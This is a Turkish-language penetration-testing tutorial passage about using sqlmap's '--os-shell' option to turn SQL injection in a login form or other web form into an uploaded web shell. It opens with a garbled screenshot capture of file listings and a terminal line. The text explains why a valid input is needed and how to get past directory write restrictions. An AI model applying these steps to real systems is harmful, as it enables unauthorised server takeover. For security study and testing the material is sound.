		killapache.pl	1.9 kB	12 Evl 2018
		examples.desktop	9,0 kB	2 Kas 2018
		oracle_default_passwords.txt	4,3 kB	11 Şub 2019
		🗋 rockyou_stajyer.txt	139,9 MB	7 Nis 2019
		📄 rockyou.txt	139,9 MB	24 Nis 2019
		📄 tall antq	14,0 kB	29 Ağu 2019
		stale_outputs_checked	0 bytes	22 Haz
		Paratalaria, perifection (0) ex. (c).	269 bytes	12 Ağu
		in lynis-report.dat	0 bytes	20 Ağu
		Unis.log	168 bytes	20 Ağu
		request.txt	633 bytes	18:43
Chara	acter Encoding: Current Lo	cale (UTF-8) ▼ Line Ending: Windows ▼	A	ll Text Files 🔻

			here good, while and
File Edit View Search Terminal Tabs Help			
	Infordation and an and a second		×
	<pre>request(guncellenmis).txt"</pre>	os-shell	



#### Not:

Shell alabilmek için geçerli bir kullanıcı adı gerekliliği (veya onun yerine parola da olabilir) nedeni web uygulamadaki yerleşik başlangıç sql sorgusunun sql hatası vermeyecek şekilde sonuç dönmesi ve bu sayede ilave olarak enjekte ettiğimiz web shell upload'lama sorgusunun işini uygulayabilmesidir. Web uygulamadaki yerleşik başlangıç sorgu sql hatası verirse bu durumda bu sorguya enjekte ettiğimiz sorgudaki web shell upload'lama faaliyeti başarılı olamamaktadır ve web shell dosyası boş içerikte web uygulama sunucusuna upload'lanmaktadır. Bu nedenle yerleşik başlangıç sorgu enjekte edilen sorgunun web shell'i düzgün upload'layabilmesi için hata vermeyecek şekilde çalıştırılmalıdır, yani geçerli bir veri ile doldurulmalıdır. Bu örnekte geçerli bir kullanıcı adı ile doldurulması gibi.

## **EKSTRA**

Bu uygulanan saldırı metodu sadece login panel'le sınırlı kalmak zorunda değildir. Taramalar sırasında gelen herhangi bir web ekranında gönderilen paket burpsuite ile kopyalanıp sqlmap'e paket.txt şeklinde sunularak aynı işlem zinciri takip edilebilir ve paket içerisindeki girdi noktalarında sql enjeksiyonu açıklığı varsa shell'e doğru yol alınabilir.

Login ekran durum çalışmasında geçerli bir kullanıcı adı girilmesi şarttı shell'e gidebilmek için. Fakat başka durum çalışmalarında (örn; herhangi bir girdi kabul eden ve girdiye göre veritabanından bazı kayıtlar dönebilen bir web ekranında) geçerli bir değer bulma derdi yoktur. Zaten ekranda elle deneyerek ekranın istediği veriye göre bir veri girilip karşılığında kayıt dönüşü yakalandığında doğrudan kopyalanacak pakete ilgili geçerli veri girilip --os-shell denemesi yapılabilir. Yani kimi web ekranlarında geçerli bir girdi versini elle bulmak mümkündür. Örn; şehir ismi bekleyen metin kutusuna "ankara" girilmesi ve bu geçerli verinin paketteki ilgili parametrede güncellenip konulması ve --os-shell'e gidilmesi gibi.

Sql enjeksiyonu var olsa bile ve IPS/WAF olmasa bile shell alınamayabilir. Çünkü hedef web uygulamada sqlmap'in denediği varsayılan dizinlerde yazma izni olmayabilir. Eğer son aşamaya kadar gelinirse ve dizin yazma iznine takılınırsa bu durumda web uygulamada upload v.b. bir dizin keşfi yapılması gerekir ki bu tür dizinler yazma iznine sahiptirler. Sqlmap'e bu dizini hedef göstererek web shell upload'laması yaptırarak dizin yazma engeli aşılabilir.

### KAYNAKLAR

- https://github.com/sqlmapproject/sqlmap/issues/3232
- https://www.willhackforsushi.com/?p=581
- https://community.rsa.com/community/products/netwitness/blog/2017/04/10/from-sqlinjection-to-webshell